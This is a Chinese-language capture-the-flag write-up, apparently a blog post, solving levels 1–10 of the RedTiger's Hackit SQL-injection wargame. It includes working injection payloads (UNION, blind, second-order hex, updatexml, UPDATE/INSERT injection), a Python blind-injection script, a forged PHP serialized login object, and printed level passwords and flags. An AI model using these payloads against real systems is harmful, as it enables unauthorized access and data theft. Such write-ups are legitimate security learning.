#五#RedTiger's Hackit的wp

做题链接:http://redtiger.labs.overthewire.org/

关于知识点整理

https://blog.csdn.net/weixin_43476037/article/details/87464475

wp

level 1
  • 表名已知:level1_users,点开Category发现注入点cat
    在这里插入图片描述
  • 构造?cat=1 union select 1,2,username,password from level1_users得到用户名和密码
    在这里插入图片描述
  • 输入得到flag和下一关
    在这里插入图片描述
  • 27cbddc803ecde822d87a7e8639f9315
level 2
  • 这个感觉是比1还要简单,就让你登录,直接尝试username=admin&password=1’or’1’='1就直接登进去了
    在这里插入图片描述
level 3
  • 给出了表名和提示:get an error
    在这里插入图片描述
  • 点开Admin的细节,发现url中user是一串密码,说明传入的参数会经过加密
    在这里插入图片描述
  • 再思考关于提示的报错,利用数组尝试
    在这里插入图片描述
  • 打开提示的urlcrypt.inc文件,发现加密解密函数
    在这里插入图片描述
  • 字段是猜的,看大佬的wp好像只能是猜,因为是对information_schema表做了限制,无法通过常规方式获取列名
  • 1' union select 1,2,3,4,5,6,7#加密后为: MDkwMTQ0MDY3MTcwMTQwMjI0MTQ0MDg2MTMwMTE0MTg0MTQ0MDc2MTcyMDExMDY5MjM4MDc3MTc1MDcwMDYyMTk5MjM1MjE5MDgxMjQ2MTUyMjA4MTc4MTEx
  • 得到显示位2 6 7 5 4
    在这里插入图片描述
  • ’ union select 1,password,2,3,4,5,6 from level3_users where username=’Admin加密得到
    usr=MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDE3MjUyMDI1MTI2MTU2MTc2MTMzMDAwMjQ2MTU2MjA4MTgyMDk2MTI5MjIwMDQ5MDUyMjMwMTk4MTk2MTg5MTEzMDQxMjQwMTQ0MDM2MTQwMTY5MTcyMDgzMjQ0MDg3MTQxMTE1MDY2MTUzMjE0MDk1MDM4MTgxMTY1MDQ3MTE4MDg2MTQwMDM0MDg1MTE4MTE4MDk5MjIyMjE4MDEwMTkwMjIwMDcxMDQwMjIw
  • 得到密码,输入得到flag
    在这里插入图片描述

####level 4

  • 进入,让你得到表里的keyword,里面有个click me,click以后发现url多了个id=1,明显是个注入点
    在这里插入图片描述
  • 又发现只有id=0和1才有回显,和id=其他数字都不变,所以应该有2列
    在这里插入图片描述
  • 看大佬的wp才知道,主界面给的提示说了是盲注,所以先判断字段长度:
  • id=1 and (select length(keyword) from hackit.level4_secret limit 0,1)=21 #测出来长度为21
  • 接下来要一位位的爆字段,因为有21位,所以最好是写脚本,而且这个还要带着cookies,代码参考网上的:
import requests as rq
url = "http://redtiger.labs.overthewire.org/level4.php"
cookies = {
    "level2login": "4_is_not_random",
    "level3login": "feed_your_cat_before_your_cat_feeds_you",
    "level4login": "there_is_no_bug"
}
payload = {'id': '1'}
url = rq.get(url, cookies=cookies, params=payload)
i = 1
keyword = []
print(url.url)
while i <= 21:
    for j in range(33, 127):
        poc = url.url+' and ascii(substr((select keyword from level4_secret),'+str(i)+',1))='+str(j)+'--+'
        target = rq.get(poc, cookies=cookies)
        if "Query returned 1 rows." in target.text:
            print(str(i)+":"+chr(j))
            keyword.append(chr(j))
            break
    i += 1

print(keyword)
  • 得到killstickswithbr1cks!
    在这里插入图片描述
level 5
  • 提示了过滤了substring, substr,(,),mid,密码用md5加密
    在这里插入图片描述
  • 他让你看一下登录错误,所以就显示了一下admin,发现被过滤了
    在这里插入图片描述
  • username 处填写正常语句时总是回显用户不存在,所以应该就是在 username 中进行绕过,根据提示 ‘the password is md5-crypted’ 猜测查询语句是根据用户名查询出数据库里的密码,然后将输入的 password 值进行 md5加密,然后进行对比
  • 通过’union select 1,2#测出共两列
    在这里插入图片描述
  • 利用union select 一组虚构的 username 和 passwprd 绕过登陆验证,所以令username:’ union select ‘1’, md5(‘1’)#&password=1得到flag
    在这里插入图片描述
level 6
  • 同样要用户名和密码,click以后能看到注入点:user=1
    在这里插入图片描述
  • 尝试user=1’报错
    [外链图片转存失败(img-FSt4fUmk-1565435541427)(https://i.loli.net/2019/08/05/jTrJeYbWlnL9CP1.png)]
  • 先尝试爆字段长度,order by 5没问题,order by 6报错,说明字段数为5
    在这里插入图片描述
  • 剩下的emmmmm,看大佬的wp,这个题是二次查询+16进制编码
  • 这里进行十六进制编码是因为,如果直接放到第一个查询语句中,会被认为是一个列名,如果带上双引号,如果第二个查询也是用双引号包裹的就会报错~所以转换为数字,然后前面加上0x是最佳选择。
  • 最终构造user=0 union select 1,0x61646d696e312720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f757365727320776865726520757365726e616d653d2761646d696e2723,3,4,5 from level6_users#
    在这里插入图片描述
level 7
  • 先尝试搜索了一下1,1’,发现1’有详细报错,而且给了注入格式
    在这里插入图片描述
  • 正好刚学了updatexml报错,所以尝试构造报错:') UNION SELECT UPDATEXML(1,CONCAT(0x7e,(SELECT autor FROM level7_news LIMIT 1 OFFSET 2)),0) OR ('
    在这里插入图片描述
  • 得到username,输入得到flag
    在这里插入图片描述
level 8
  • 菜逼点进去一点思路没有,看别人wp才知道是靠’找到email有注入点(这么基础嘤嘤嘤)
    在这里插入图片描述
  • 但关于update的知识,不怎么了解,在mysql中的update的一个用法:如果在update中的语句,我们的写法如下:
    update users where username=email,password='123456' where username='admin';
  • 那么上面的这sql语句的执行效果就是将username为’admin’的记录修改为username为此记录的email,密码修改为123456。
  • 如果update语句中有fieldname1=fieldname2这样的语句就会将当前记录的fieldname2的值赋值到fieldname1上面。
  • email=hans%40localhost',name=password,icq='&name=Hans&icq=12345&age=25&edit=Edit
    在这里插入图片描述
  • email上面显示出密码,登陆得到flag
    在这里插入图片描述
level 9
  • insert 注入知识补充:关于insert,uodate,delete注入
  • 通过尝试发现在提交框里面存在注入点,输入1’会报错
    在这里插入图片描述
  • 猜测后台的sql语句写法 :insert into tablename(autor,title,text) values('[inputautor]','[inputtitle]','[inputtext]')。
    构造payload: 1'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'1得到用户名和密码
    在这里插入图片描述
  • 输入得到flag
    在这里插入图片描述
level 10
  • 进入后只让你以TheMaster身份登录,发现url也没什么注入点,一脸懵逼
    在这里插入图片描述
  • 看了别人的提示,发现F12后有个hidden的input,里面有一串密码
    在这里插入图片描述
  • base64解密后得到
    a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}是PHP反序列化数据
  • 关于PHP反序列化总结
  • 再解密,PHP代码:
<?php
$a=unserialize('a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}');
var_dump($a);
?>
  • 执行得到
array(2) {
  ["username"]=>
  string(6) "Monkey"
  ["password"]=>
  string(12) "0815password"
}

  • 先尝试只把用户名改成TheMaster,发现不对
    在这里插入图片描述
  • 还需要把password改成true,构造:a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;},base64编码得到: YSUzQTIlM0ElN0JzJTNBOCUzQSUyMnVzZXJuYW1lJTIyJTNCcyUzQTklM0ElMjJUaGVNYXN0ZXIlMjIlM0JzJTNBOCUzQSUyMnBhc3N3b3JkJTIyJTNCYiUzQTElM0IlN0Q=
  • login得到flag
    在这里插入图片描述
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值